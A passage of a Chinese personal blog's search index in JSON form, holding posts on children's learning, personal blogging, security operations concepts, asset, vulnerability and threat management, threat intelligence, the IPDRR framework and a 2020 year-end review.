读书我们是认真的\n","permalink":"http://xiejava.ishareread.com/posts/2021-08-22-%E5%A4%A7%E8%84%91%E4%B8%8D%E6%98%AF%E7%94%A8%E6%9D%A5%E6%80%9D%E8%80%83%E7%9A%84%E5%A6%82%E4%BD%95%E8%AE%A9%E5%AD%A9%E5%AD%90%E6%9B%B4%E5%A5%BD%E7%9A%84%E5%AD%A6%E4%B9%A0/","summary":"\u003cp\u003e\u003cimg alt=\"读书\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2021/20210822/%E8%AF%BB%E4%B9%A6.png\"\u003e\u003c/p\u003e\n\u003cp\u003e在这个知识爆炸、学习竞争压力巨大的时代，让父母最焦虑的事情之一，莫过于家里有个厌学的孩子了。为了让孩子好好学习，家长们操碎了心。为了孩子报各种培训辅导班、自己亲自上阵陪同辅导、高价请一对一的家教辅导，就差自己代替孩子去学习了。而孩子依旧是，一写作业就磨蹭、一考试就不会、一上学就无精打彩，一放学就满血复活。为什么学生不喜欢上学？如何让孩子喜欢并更好的学习呢？让我们跟着这本《为什么学生不喜欢上学?》一起来探索学习的秘密。\n\u003cimg alt=\"我的心里只有学习\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2021/20210822/%E6%88%91%E7%9A%84%E5%BF%83%E9%87%8C%E5%8F%AA%E6%9C%89%E5%AD%A6%E4%B9%A0.jpg\"\u003e\n《为什么学生不喜欢上学?》是一本关于认知心理学的普及读物，也是一本教育心理学的入门书籍。作为美国弗吉尼亚大学心理学教授威林厄姆的重要著作，是一本深受学生和教师欢迎的教育心理学著作。他用认知心理学的原理，详细分析了学生学习的过程和教师在课堂教学中必须注意的一些问题。\u003c/p\u003e","title":"大脑不是用来思考的，如何让孩子更好的学习？"},{"content":"\n都2021了，在这个移动互联网异常发达，自媒体泛滥的时代，博客这个古老的在互联网时代记录自己的工具似乎是不合时宜要被大众所遗忘被历史所淘汰。而我却还在用博客这种古老的方式生活在移动互联网时代记录工作，学习，生活。\n一、为什么要记录 正如我的博客标题，记录最好的自己。最朴实的想法就是想记录自己的所学、所见、所闻、所思、所想。记录使人进步。吴军老师的《全球科技通史》中提到，促进人类文明发展的是两条主线，一条是能源，一条是信息。文字的发明，信息的记录，让人类的文明得以延续和发展。是一代一代人通过信息的记载和积累促进科技的发展，让信息不管是从记录方式还是传播速度都得到了跨越式的发展，进入到了现在信息爆炸的时代。书中提到，为什么在近代早期西方的科学技术进步的速度要明显的快于中国，一个重要的原因就西方对于科学技术的研究及传播方式。西方的研究方式是通过不断的实验大量的记录进行定量研究，后人可以基于前人记录的信息研究成果进行研究和传播，大大加快的科学技术的进步。而那时候中国可能还是定性方式的研究，口口相传的传播方式，导致原来很多技术到现在都失传了。\n对于个人来说，我想应该也是一样的，要想更快进步和发展，将自己生活、学习、工作过程中的所学、所见、所闻、所思、所想记录下来定期的回顾和思考应该会有所促进吧。而且随着时间的推移回头看看自己以前记录的东西应该也是一种乐趣。或许，有人看到我所记录的东西以此为鉴少走一点弯路。\n不在乎文笔，不限于内容，仅仅只是记录，希望记录能够成就最好的自己。\n二、为什么是博客这种方式 记录信息的手段很多，尤其是自媒体时代，微博、微信、头条、抖音、小红书啥的，平台很多。为什么还要用博客这种古老的方式呢？如果自是记录给自己看映象笔记、网易云笔记都是很好的，私密性太强，不够开放。微博、微信社交属性太强关注的都是些熟人。头条、抖音、小红书，功利性太强，为了收益去强迫自己去写也不是自己的初衷。想来想去还只有博客这种古老的方式比较合适，安安静静的自己想记录什么就记录什么。也不用去担心什么流量，不用去关注什么人关注了你。以前几个大的通用的博客平台都不提供服务了如新浪博客、网易博客等，而CSDN、cnblog主要是技术类的博客，想记录点乱七八糟的事情似乎也不太适合。所以只好自己来搭建博客咯。\n自己搭建的博客http://xiejava.ishareread.com 已经快两年了。记录的东西不是太多，说明见识不多，思考太少。\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-08-20-%E9%83%BD2021%E4%BA%86%E6%88%91%E4%B8%BA%E4%BB%80%E4%B9%88%E8%BF%98%E5%9C%A8%E7%94%A8%E5%8D%9A%E5%AE%A2%E8%BF%99%E7%A7%8D%E5%8F%A4%E8%80%81%E7%9A%84%E6%96%B9%E5%BC%8F%E5%9C%A8%E8%AE%B0%E5%BD%95/","summary":"\u003cp\u003e\u003cimg alt=\"BLOG\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2021/20210820/blog.png\"\u003e\u003c/p\u003e\n\u003cp\u003e都2021了，在这个移动互联网异常发达，自媒体泛滥的时代，博客这个古老的在互联网时代记录自己的工具似乎是不合时宜要被大众所遗忘被历史所淘汰。而我却还在用博客这种古老的方式生活在移动互联网时代记录工作，学习，生活。\u003c/p\u003e","title":"都2021了，我为什么还在用博客这种古老的方式在记录"},{"content":"安全运维与安全运营是安全人员经常听到的两个名词。到底什么是安全运维，什么是安全运营，两者之间有什么区别和联系呢？\n我们先来看一下运维与运营的概念区别。 运维一般来说指的是运行维护，通过一定的技术和管理手段保障平台或系统的正常运行。本质上是对平台、系统或产品所涉及的网络、服务器、服务的生命周期各个阶段的运营与维护，在成本、稳定性、效率上达成一致可接受的状态。\n运营从字面上理解更多的是指经营。通过对平台、系统或产品的经营达到预期的业务目标。对运营过程的计划、组织、实施和控制，是与产品生产和服务创造密切相关的各项管理工作的总称。从另一个角度来讲，运营管理也可以指为对生产和提供公司主要的产品和服务的系统进行设计、运行、评价和改进的管理工作。\n总体来说运营应该是覆盖运维的，运维是支持运营的。那么安全运维和安全运营，应该也是同样的道理。\n网上有人进行了概括：\n安全运维简单来说，就是从安全的角度对日常IT信息系统进行运行维护，传统运维工作主要是为了保障信息系统的正常运行，安全运维则是通过安全分析，检测和解决已经产生和即将产生的安全问题，从而建立从防护到监测到解决的闭环安全机制管理系统，实现运维的目的——保障企业整体IT系统运行正常。\n安全运营应该来说概念更广，狭义的安全运营是为以资产为核心，以安全事件管理为关键流程，依托于安全运营平台（SOC），建立一套实时的资产风险模型，进行事件分析、风险分析、预警管理和应急响应处理的集中安全管理体系。广义安全运营是一个技术、流程和人有机结合的复杂的系统工程，通过对已有的安全产品、工具、服务产出的数据进行有效的分析，持续输出价值，解决安全风险，从而实现安全的最终目标。\n个人认为运维更多的强调流程，运营更多的强调体系。\n作者博客：http://xiejava.ishareread.com/\n","permalink":"http://xiejava.ishareread.com/posts/2021-08-20-%E5%AE%89%E5%85%A8%E8%BF%90%E7%BB%B4%E4%B8%8E%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5/","summary":"\u003cp\u003e安全运维与安全运营是安全人员经常听到的两个名词。到底什么是安全运维，什么是安全运营，两者之间有什么区别和联系呢？\u003c/p\u003e\n\u003cp\u003e我们先来看一下运维与运营的概念区别。\n\u003cstrong\u003e运维\u003c/strong\u003e一般来说指的是运行维护，通过一定的技术和管理手段保障平台或系统的正常运行。本质上是对平台、系统或产品所涉及的网络、服务器、服务的生命周期各个阶段的运营与维护，在成本、稳定性、效率上达成一致可接受的状态。\u003c/p\u003e","title":"安全运维与安全运营"},{"content":"​ 网络信息安全管理是指对网络资产采取合适的安全措施，以确保网络资产的可用性、完整性、可控制性和抗抵赖性，不致因网络设备、网络通信协议、网络服务、网络管理受到人为和自然因素的危害，而导致网络中断、信息泄露或破坏。网络信息管理对象主要包括网络设备、网络通信协议、网络操作系统、网络服务、安全网络管理等在内的所有支持网络系统运行的软、硬件总和。网络信息安全管理的目标就是通过适当的安全防范措施，保障网络的运行安全和信息安全，满足网上业务开展的安全要求。\n网络信息安全管理要素由网络管理对象、网络威胁、网络脆弱性、网络风险、网络保护措施组成。由于网络管理对象自身的脆弱性，使得威胁的发生成为可能，从而造成了不同的影响，形成了风险。网络安全管理实际上就是风险控制，其基本过程是通过网络管理对象的威胁和脆弱性进行分析，确定网络管理对象的价值、网络管理对象威胁发生的可能性、网络管理对象的脆弱程度，从而确定网络管理对象的风险等级，然后据此选取合适的安全保护措施，降低网络管理对象的风险。\n安全风险管理的三要素分别是资产、威胁和脆弱性，脆弱性的存在将会导致风险，而威胁主体利用脆弱性产生风险。网络攻击主要利用了系统的脆弱性。由于网络管理对象自身的脆弱性，使得威胁的发生成为可能，从而造成了不同的影响，形成了风险。\n网络信息安全管理对象是企业、机构直接赋予了价值而需要保护的资产。它的存在形式包括有形的和无形的，如网络设备硬件、软件文档是有形的，而服务质量、网络带宽是无形的。\n常见的网络信息安全管理对象信息安全资产分类如下：\n分类 示例 数据 保存在信息媒介上的各种数据资料，包括源代码、数据库数据、系统文档、运行管理规程、计划报告、用户手册、各类纸质的文档等 软件 系统软件：操作系统、数据库管理系统、语句包、开发系统\n应用软件：办公软件、数据库软件、各类工具软件等\n源程序：各种共享源代码、自行或合作开发的各种代码等 硬件 网络设备：路由器、网关、交换机等\n计算机设备：大型机、小型机、服务器、工作站、台式计算机、便携计算机等\n存储设备：磁带机、磁盘阵列、磁带、光盘、软盘、移动硬盘等\n传输线路：光纤、双绞线等\n保障设备：UPS、变电设备、空调、保险柜、文件柜、门禁、消防设施等\n安全设备：防火墙、入侵检测系统、身份鉴别等\n其他：打印机、复印机、扫描仪、传真机等 服务 信息服务：对外依赖该系统开展的各类服务\n网络服务：各种网络设备、设施提供的网络连接服务\n办公服务：为提高效率而开发的管理信息系统，包括各种内部配置管理、文件流转管理等服务 人员 掌握重要信息和核心业务的人员，如主机维护主管、网络维护主管及应用项目经理等 其他 企业形象、客户关系等 脆弱性：脆弱性也可称为弱点或漏洞，是资产或资产组中存在的可能被威胁利用造成损害的薄弱环节。脆弱性一旦被威胁成功利用就可能对资产造成损害。脆弱性可能存在于物理环境、组织、过程、人员、管理、配置、硬件、软件和信息等各个方面。\n脆弱性是与资产紧密相连的，是其固有的属性，客观存在是绝对的，但存在脆弱性不一定就绝对造成安全事件。如果没有被相应的威胁利用，单纯的脆弱性本身不会对资产造成伤害。\n类型识别对象脆弱性子类\r技术脆弱性\r物理环境\r机房场地、机房防火、机房供配电、机房防静电、机房接地与防雷、电磁防护、通讯线路的保护、机房区域防护、机房设备管理等\r网络结构\r网络结构设计、网络传输加密、网络设备安全漏洞、边界保护、外部访问控制策略、内部访问控制策略、网络设备安全配置等\r服务器/系统软件\r补丁安装、物理保护、用户帐号、口令策略、资源共享、事件审计、访问控制、新系统配置（初始化）、注册表加固、网络安全、系统软件安全漏洞、软件安全功能管理等\r数据库\r补丁安装、鉴别机制、口令机制、访问控制、网络和服务设置、备份恢复机制、审计机制等\r应用系统\r审计机制、审计存储、访问控制策略、数据完整性、通讯、鉴别机制、密码保护等\r应用中间件\r协议安全、交易完整性、数据完整性等\r管理脆弱性\r技术管理\r物理和环境安全、通讯和操作管理、访问控制、系统开发与维护、业务连续性等\r组织管理\r安全策略、组织安全、信息资产分类与控制、人员安全、符合性等\r威胁：对资产或组织可能导致负面结果的一个事件的潜在源。威胁利用管理对象自身的脆弱性，采用一定的途径和方式，对评估对象造成损害或损失，从而形成风险。\r威胁源分三类：自然威胁、人为威胁和环境威胁。\n种类 描述 威胁子类 软硬件故障 对业务实施或系统运行产生影响的设备硬件故障、通讯链路中断、系统本身或软件缺陷等问题 设备硬件故障、传输设备故障、存储媒体故障、 系统软件故障、应用软件故障、数据库软件故障、开发环境故障等 物理环境影响 对信息系统正常运行造成影响的物理环境问题和自然灾害 断电、静电、灰尘、潮湿、温度、洪灾、火灾、地震、暴风雨、潮汐、污染、空调设备故障、鼠蚁虫害、电磁干扰等 操作失误 应该执行而没有执行相应的操作，或无意执行了错误的操作 维护错误、操作失误、提供错误的指南或操作信息等 管理不到位 安全管理无法落实或不到位，从而破坏信息系统正常有序运行 管理制度和策略不完善、管理规程缺失、职责不明确、监督控管机制不健全等 恶意代码 故意在计算机系统上执行恶意任务的程序代码 病毒、特洛伊木马、蠕虫、陷门、间谍软件、窃听软件、携带恶意软件的垃圾邮件、流氓安全软件、即时消息垃圾邮件等 越权或滥用 通过采用一些措施，超越自己的权限访问了本来无权访问的资源，或者滥用自己的权限，做出破坏信息系统的行为 非授权访问网络资源、非授权访问系统资源、滥用权限非正常修改系统配置或数据、滥用权限泄露秘密信息、非授权使用存储介质等 网络攻击 利用工具和技术通过网络对信息系统进行攻击和入侵 网络探测和信息采集、漏洞探测、嗅探（账号、口令、权限等）、用户身份伪造和欺骗、用户或业务数据的窃取和破坏、系统运行的控制和破坏、拒绝服务攻击、僵尸网络、隐蔽式下载、名誉劫持、网络黑客的入侵等 物理攻击 通过物理的接触造成对软件、硬件、数据的破坏 物理接触、物理破坏、盗窃、勒索、罢工、内部员工蓄意破坏等 泄密 信息泄露给不应了解的他人 内部信息泄露、外部信息泄露等 篡改 非法修改信息，破坏信息的完整性使系统的安全性降低或信息不可用 篡改网络配置信息、篡改系统配置信息、篡改安全配置信息、篡改用户身份信息或业务数据信息等 抵赖 不承认收到的信息和所作的操作和交易 原发抵赖、接受抵赖、第三方抵赖等 在这里可以看出威胁与攻击的区别和关系。攻击是威胁的一种类型，攻击是人为的蓄意的有计划采取的恶意破坏的行动。一般来说攻击比较容易检测到。\n网络信息安全风险是指特定的威胁利用网络管理对象所存在的脆弱性，导致网络管理对象的价值受到损害或丢失的可能性。简单的说，网络安全风险就是网络威胁发生的概率和所造成影响的乘积。\n本文整理自《信息安全工程师教程第2版》\n作者博客：http://xiejava.ishareread.com/\n​\n","permalink":"http://xiejava.ishareread.com/posts/2021-08-19-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E4%B9%8B%E8%B5%84%E4%BA%A7%E8%84%86%E5%BC%B1%E6%80%A7%E5%A8%81%E8%83%81%E9%A3%8E%E9%99%A9/","summary":"\u003cp\u003e​\n\u003cstrong\u003e网络信息安全管理\u003c/strong\u003e是指对网络资产采取合适的安全措施，以确保网络资产的可用性、完整性、可控制性和抗抵赖性，不致因网络设备、网络通信协议、网络服务、网络管理受到人为和自然因素的危害，而导致网络中断、信息泄露或破坏。网络信息管理对象主要包括网络设备、网络通信协议、网络操作系统、网络服务、安全网络管理等在内的所有支持网络系统运行的软、硬件总和。网络信息安全管理的目标就是通过适当的安全防范措施，保障网络的运行安全和信息安全，满足网上业务开展的安全要求。\u003c/p\u003e","title":"网络信息安全管理之资产、脆弱性、威胁、风险"},{"content":"初识威胁情报 随着网络空间的广度和深度不断拓展，当今网络攻击的多样化、复杂化、专业化，安全对抗日趋激烈，传统的安全思维模式和安全技术已经无法有效满足政企客户安全防护的需要，新的安全理念、新的安全技术不断涌现。业界普遍认同：仅仅防御是不够的，更加需要持续地检测与响应。而要做到更有效的检测与更快速的响应，安全情报必不可少。有效的威胁情报可以提高安全产品的对恶意攻击识别能力，提高溯源效率，并及时采取应对措施，减少甚至消除攻击的危害。\n本文收集了互联网上的威胁情报的相关知识信息，试图从威胁情报的定义、分类、应用三个方面对威胁情报进行初步的认识。\n一、什么是威胁情报 安全情报包含漏洞、资产、威胁、风险、运行和事件等多维度安全知识在内的知识集合。安全情报是一个宽泛的概念，主要包括了威胁情报、漏洞情报、事件情报以及基础数据情报。\n根据Gartner对威胁情报的定义，威胁情报是一种基于证据的知识，包括了情境、机制、指标、影响和操作建议。威胁情报描述了现存的、或者是即将出现针对资产的威胁或危险，并可以用于通知主体针对相关威胁或危险采取某种响应。简单来说威胁情报是可以针对相关威胁采取行动的知识，可以帮助企业和组织快速了解到敌对方对自己的威胁信息，从而帮助他们提前做好威胁防范、更快速地进行攻击检测与响应、更高效地进行事后攻击溯源。\n从严格意义上来讲，威胁情报和漏洞情报是不同的两种安全情报，不应该将它们混淆。从防御者的角度来看，获取漏洞情报是为了知己，而获取威胁情报是为了知彼。\n二、威胁情报分类 根据使用方法不同，威胁情报可分为三类\n战略情报 包括安全调查报告、趋势分析、行业状况等战略层面的情报，可供企业CISO或安全负责人制定安全规划和投资策略，将有限的资源投入到最需要的地方。\n技术情报 包括各种威胁的丰富化情报，以及相关信息。通过攻击事件相关的IP和域名的详细信息，以及攻击者相关的攻击事件及样本，安全分析师可以对重要安全事件做准确的分析，包括报警确认、攻击影响范围、攻击链以及攻击目的、技战方法等，并进行相应的安全预测和防范。\n战术情报 包括各种面向安全设备或系统的，易于执行的高可信度威胁IOC (Indicator of Compromise)。安全运营团队利用高质量的威胁IOC可帮忙安全系统自动检测未知威胁，及早产生预警和通知，快速响应恶意攻击，提高企业安全防护能力。\n根据数据本身威胁情报可以分为HASH值、IP地址、域名、网络或主机特征、TTPs（Tactics、Techniques \u0026amp; Procedures，工具、技术、过程）等 HASH值：一般指样本、文件的HASH值，比如MD5和SHA系列。由于HASH函数的雪崩效应，文件任何微弱地改变，都会导致产生一个完全不同也不相关的哈希值。这使得在很多情况下，它变得不值得跟踪，所以它带来的防御效果也是最低的。\n​​IP地址：常见的指标之一，通过IP的访问控制可以抵御很多常见的攻击，但是又因为IP数量太大，任何攻击者均可以尝试更改IP地址，以绕过访问控制。\n​​域名：有些攻击类型或攻击手法也或者出于隐藏的目的，攻击者会通过域名连接外部服务器进行间接通信，由于域名需要购买、注册、与服务器绑定等操作使得它的成本相对IP是比较高的，对域名的把控产生的防御效果也是较好的。但是对于高级APT攻击或大规模的团伙攻击，往往会准备大量备用域名，所以它的限制作用也是有限。\n​​网络或主机特征：这里指的特征可以是很多方面，比如攻击者浏览器的User-Agent、登录的用户名、访问的频率等，这些特征就是一种对攻击者的描述，这些情报数据可以很好的将攻击流量从其他的流量中提取出来，就会产生一种较好的防御效果。\n​​攻击工具：这里是指获取或检测到了攻击者使用的工具，这种基于工具的情报数据能够使得一批攻击失效，攻击者不得不进行免杀或重写工具，这就达到了增加攻击成本的目的。\n​​TTPs：Tactics、Techniques \u0026amp; Procedures的缩写，指攻击者所使用的攻击策略、手法等，掌握了些信息就能明白攻击者所利用的具体漏洞，就能够针对性的布防，使得攻击者不得不寻找新的漏洞，所以这也是价值最高的情报数据。\n从应用领域分类可以分为，机读情报（MRTI）、人读情报（PRTI）、画像情报和知识情报四类\n机读情报：可供机器理解和使用的情报，侧重于高频次、高准确性、强实效的应用场景。 人读情报：信息量更大，需要更多的上下文、背景信息支持人工分析研判和应急响应。 画像情报：针对单一的威胁、资产、漏洞、事件进行分析，形成相应的知识集，概念上类似于用户画像。 知识情报：基于先验知识的规则模型和算法。这些模型和算法与平台之间高度匹配，可以快速导入平台，结合平台获得的各类数据、信息和情报，实现对某类特定类别的威胁、风险或特定事件的感知、分析、决策和处置。消费对象和应用场景集中于态势感知、SOC/SIEM类分析平台。\n其中机读情报应用最广，基本已经被各大安全厂商在设备中集成，多以IoC或者Yara的形式存储。人读情报的格式比较宽泛，包括安全公告、漏洞预警、病毒/APT分析文章都属于这个类别。画像情报则是介于机读和人读情报中的一种，通常用结构化的标签和非结构化的备注来描述，针对单一的威胁、资产、漏洞、事件进行分析形成的知识集，也可以加入场景标注。而知识情报的提法主要是针对态势感知、SOC、SIEM类平台产品的，平台内置的先验规则如关联规则和知识图谱都属于这一类。\n从情报市场来源来分可分为开源情报（OSINT）、商用情报\n开源情报：Open Source Threat Intelligence 开源情报，免费从公开信息来源进行数据采集和分析后形成的情报。 商用情报：Commercial Threat Intelligence 商业情报，在威胁情报领域，根据用户需求提供的付费情报。一般来说付费的准确度要稍高。\n三、威胁情报有什么用 溯源分析 威胁情报记录了外部攻击的大量信息，可以让安全分析师了解攻击方的情报，解决攻防战中信息不对称的困境。特别是在分析告警、进行溯源分析时，往往会在威胁情报系统中查询相关攻击 IP、Domain 等的具体信息，看看有没有攻击线索和方式，可以用作告警确认和进一步处理的依据。\n检测告警 数字化时代的黑客的攻击也逐渐自动化、智能化，每天企业都会受到大量的外部攻击，依靠人去一个个分辨是不现实的，企业往往部署了可以对外部流量或外部日志进行自动化分辨的安全设备和系统，比如 FW 、 IDPS 、 SIEM 或大数据安全分析平台。如果将最新的威胁情报传输到这些 安全设备和系统中，就可以极大的提高这些设备系统对新型攻击的检测能力。 情报厂商往往将这些有价值的情报以IOC 的形式发布出来，用户可以将这些 IOC 导入到部署的安全设备系统中，从而可以快速实现对新型威胁攻击的识别、告警和处理。\n安全预防 防守不是最好的策略，在如今企业每日都面对各式各样的网络攻击，单纯的被动防守已经无法阻挡黑客的攻击。如果能预知攻击并提前预防就可以减小不少攻击的损失。 通过漏洞情报可以在攻击到来之前获悉攻击的信息，事先做好准备，修复相关漏洞，加强安全防护，避免威胁攻击带来的危害。\n安全规划 安全工作是一个系统性的工程，需要方方面面的知识和信息。为了做好安全规则，需要了解威胁攻击的总体现状和未来发展趋势，同时还要提供相关信息用以说明管理层提供相关投资。高级威胁情报信息可以帮助安全团队领导了解威胁攻击的状况以及预测，方便企业制定好相应安全规划和投资。\n实用的情报才是最好的情报 情报的“ART”原则，符合“ART”原则的才是对企业有用的情报。 Accuracy（准确性）：情报是否足够详细和可靠 威胁情报的作用是为安全团队提供相关信息并指导决策，如果情报不准确，不但没有产生价值，反而会对组织的安全决策会造成负面影响。 Relevance（相关性）：情报是否可适用于你的业务或行业 不是所有的信息都是适用的，相关性较弱的情报会导致分析人员的繁重任务，并且会导致其他有效情报的时效性失效。 Timeliness（时效性）：在你利用些情报前，情报是否已经失效 威胁情报是信息的集合，凡是信息，都具有时效性。往往情报的有效时间会很短，攻击者会为了隐藏自己的踪迹不断的更换一些特征信息，比如说IP地址、手法等等。\n威胁情报要发挥价值，核心在于情报信息的共享。只有建立起一套威胁情报共享的机制，让有价值的威胁情报流动起来，才能真正加速安全防御的效率、效能，取得切实的防御效果。 威胁情报的生态系统包括两个方面：威胁情报的生产和威胁情报的消费。 威胁情报的生产就是通过对原始数据/样本的采集、交换、分析、追踪，产生和共享有价值的威胁情报信息的过程。 威胁情报的消费是指将企业和客户网络中的安全数据与威胁情报进行比对、验证，以及企业和客户方的安全分析师利用威胁情报进行分析的过程。 威胁情报的生产和消费构成了一个情报生态系统的闭环。只有生产没有消费，威胁情报的价值无法实现；而只有消费没有生产，威胁情报就成了无源之水。\n对于政企客户而言，威胁情报的应用/消费是实现情报价值的关键。各类安全设备都应该能够消费威胁情报，但最关键的是安全管理平台/SOC对威胁情报的应用\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-06-25-%E5%88%9D%E8%AF%86%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5/","summary":"\u003ch1 id=\"初识威胁情报\"\u003e初识威胁情报\u003c/h1\u003e\n\u003cp\u003e随着网络空间的广度和深度不断拓展，当今网络攻击的多样化、复杂化、专业化，安全对抗日趋激烈，传统的安全思维模式和安全技术已经无法有效满足政企客户安全防护的需要，新的安全理念、新的安全技术不断涌现。业界普遍认同：仅仅防御是不够的，更加需要持续地检测与响应。而要做到更有效的检测与更快速的响应，安全情报必不可少。有效的威胁情报可以提高安全产品的对恶意攻击识别能力，提高溯源效率，并及时采取应对措施，减少甚至消除攻击的危害。\u003c/p\u003e","title":"初识威胁情报"},{"content":"企业安全能力框架(IPDRR)是美国国家标准与技术研究所（National Institute of Standards and Technology）的网络安全框架（简称NISTCSF )。第一个版本于2014年发布，旨在为寻求加强网咯安全防御的组织提供指导。企业可以根据自身需求加强网络安全防御。 企业网络安全系统框架（参考IPDRR）\n随着社会数字化转型的深入，网络攻击事件日益增多、破坏力逐步增强。安全方法论也正逐步从\u0026quot;针对威胁的安全防御\u0026quot;向“面向业务的安全治理”（IPDRR）等演进。\nIPDRR能力框架模型包括风险识别（Identify）、安全防御（Protect）、安全检测（Detect）、安全响应（Response）和安全恢复（Recovery）五大能力，从以防护为核心的模型，转向以检测和业务连续性管理的模型，变被动为主动，最终达成自适应的安全能力。\nIPDRR模型体现了安全保障系统化的思想，管理与技术结合来有效保障系统核心业务的安全。通过持续的安全检测来实现IPDRR的闭环安全，为用户提供完善的安全能力框架和支撑体系。\n具体来说IPDRR主要包含了五个部分： 识别（Identify）：识别网络资产及风险，是指对系统、资产、数据和网络所面临的安全风险的认识及确认 保护（Protect）：保护网络，是指制定和实施合适的安全措施，确保能够提供关键基础设施服务。 检测（Detect）：发现攻击，在攻击产生时即时监测，同时监控业务和保护措施是否正常运行，制定和实施恰当的行动以发现网络安全事件 响应（Respond）：响应和处理事件，指对已经发现的网络安全事件采取合适的行动。具体程序依据事件的影响程度来进行抉择，主要包括：事件调查、评估损害、收集证据、报告事件和恢复系统 恢复（Recover）：恢复系统和修复漏洞，将系统恢复至正常状态，同时找到事件的根本原因，并进行预防和修复\n可以参考大家对实体财物是怎么保护的就很容易理解了。举个例子，大家如何对自己的私有财产是怎么保护的呢？ 第一步识别（Identify）肯定是识别出有哪些资产分别都有什么风险吧，比如家里的现金、金银珠宝、贵重电器、房产证、82年的拉菲、92年的茅台等等对于我们来说都是属于我们要保护的资产，这些都有被小偷偷走，被破坏等风险。所以我们需要采取一定的措施将这些资产给保护起来。 比如现金、金银珠宝、房产证等放在保险柜里，82年的拉菲、92年的茅台等搞个酒窖上好锁，家里的房子装好防护门、防盗窗等，这些就是第二步保护（Protect），对需要保护的资产做好基本的防护。做到了这些够不够呢？显然是不够的，这只是做好被动防御，我们还要做好主动防御，也就是第三步检测（Detect），这时候我们可以装一些监控设备摄像头、传感器等等，看时时刻刻监控我们所要保护的资产看有没有什么情况，还可以雇佣一批保安7*24小时巡逻实时监测。响应（Respond）也就是发现了什么风吹草动，就采取响应的措施，比如如果是有人破门而入就及时的告警，制止，报警。恢复（Recover）就是对易发生的损失进行恢复，如有人破门而入把门给搞坏了，就得把门重新修好或换一个新的级别更高更安全的门。\n企业的网络安全也是一样的。首先要识别自己企业的网络安全资产如重要系统、服务器等都部署在哪里，有没有漏洞，基线配置有没有合规。然后需要做好基本的防护，比如在出入口部署防火墙、主机装EDR、Web服务器要在WAF的保护下、做好访问控制、部署IPS设备等等。有了基础的防护设备以后要做好检测响应比如部署NTA做好流量检测分析、部署SIEM或日志分析系统将这些基础防护设备的告警精心接入做好安全告警的检测分析。通过检测设备发现网络安全事件以后要采取响应的响应措施，比如发现漏洞要进行补洞加固等、发现攻击封堵IP等，可以通过SOAR安全编排与自动化响应平台对人、工具、流程进行协同提高对于安全事件的响应能力。最后是恢复，也就是对已经造成的破坏进行恢复至正常状态，对于失陷的主机进行离网、杀毒、重装、恢复等。\n本文试图对市面上常见的安全产品进行分类来映射到IPDRR的五大能力 **识别（Identify）**提供识别能力的产品包括资产管理平台、资产测绘平台、基线管理平台、漏洞扫描工具等。 **保护（Protect）**提供保护能力的产品包括主机防御类EDR、VPN、4A、防火墙、IPS、WAF、抗DOS等 检测（Detect） 提供威胁检测能力的产品包括IDS、NTA、蜜罐、恶意代码检测、用户异常行为检测等。 响应（Respond）：提供响应能力的产品包括SIEM、安全审计、态势感知、SOAR等 恢复（Recover）：提供恢复能力的产品包括NG-SOC，NG-SOC理论上应该是覆盖了IPDRR所有的能力。 当然企业安全能力不能够仅仅的依靠工具，是人、策略、流程、工具综合能力的体现。企业可以根据自身需求参考IPDRR能力框架模型加强网络安全能力建设，哪里欠缺补哪里，通过管理与技术结合来有效保障系统核心业务的安全。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2021-06-17-%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3%E4%BC%81%E4%B8%9A%E5%AE%89%E5%85%A8%E8%83%BD%E5%8A%9B%E6%A1%86%E6%9E%B6-ipdrr/","summary":"\u003cp\u003e企业安全能力框架(IPDRR)是美国国家标准与技术研究所（National Institute of Standards and Technology）的网络安全框架（简称NISTCSF )。第一个版本于2014年发布，旨在为寻求加强网咯安全防御的组织提供指导。企业可以根据自身需求加强网络安全防御。\n\u003cimg alt=\"企业网络安全系统框架\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2021/20210617/IPDRR%E6%A8%A1%E5%9E%8B.png\"\u003e\n企业网络安全系统框架（参考IPDRR）\u003c/p\u003e","title":"如何理解企业安全能力框架(IPDRR)"},{"content":"今天是2021年1月1日，按照惯例应该是回忆过去展望未来的一天。\n回忆过去： 在过去的一年里，曾今在2020年立下的flag是否都实现了呢？\n2020的flag：\n看完10本英文原著。 爱分享网站运营PV要达5W,UV达5千 每周至少发一篇微信公众号文章 开通自己的博客 每周至少跑步3次 2020年完成得最好的是看完了10本英文原著，因为2020过春节到第一季度受疫情影响，老老实实待在家里。在5月份就看完了10本英文原著。但是后来却没有坚持下来。看英文原著的热情慢慢的消退下来。一是看了这么多本原著似乎英文还是那么的菜打击了自己的信心，二是看英文原著比较耗时间4、5月份开始正常上班后时间就显得比较紧张了。后来7月份的时候准备考通信工程师的考试，时间更加紧张。所以继续看英文原著的事情就放下来了。英文很重要，学习英文2020年还是要继续坚持。\n爱分享网站因为各种原因在7月份的时候基本上已经停了，但是服务器还在续费。其实在5,6月份以前网站的访问量等各方面指标都一直在上升，因为疫情大家可能待在家里看书的需求量大增，网站的访问量一直都在持续的上升。如果网站不停基本上运营的flag还是可以达到的。现在的环境对于个人网站来说很艰难了。网站还会继续下去主要内容会以自己的博客为主了。\n因为网站基本停了，一直在想网站生存的方向。微信公众号的文章也比较少更新了。还是自己肚子里的货太少了，写了一段时间以后发现没啥东西写了，坚持不下去了。真佩服那些现在还在每天更新的微信公众号。\n经过多方比较决定用hexo来搭建自己的博客。写博客已经被认为是很古老的方式了，一直以来都很羡慕那些一直坚持下来的优质博主。想通过博客的方式记录自己的学习、生活、工作。2020年共写了24篇博客，产量不是很高，说明思考和积累还是不够。\n跑步锻炼，在夏天天气好的时候还是坚持得不错，每周基本上坚持了一次。天气渐渐冷了起来以后懒筋发作很少出去跑步了。看着自己日益发胖的体重，要深刻的检讨一下。\n2020年全年阅读量有所减少在豆瓣上标记只读了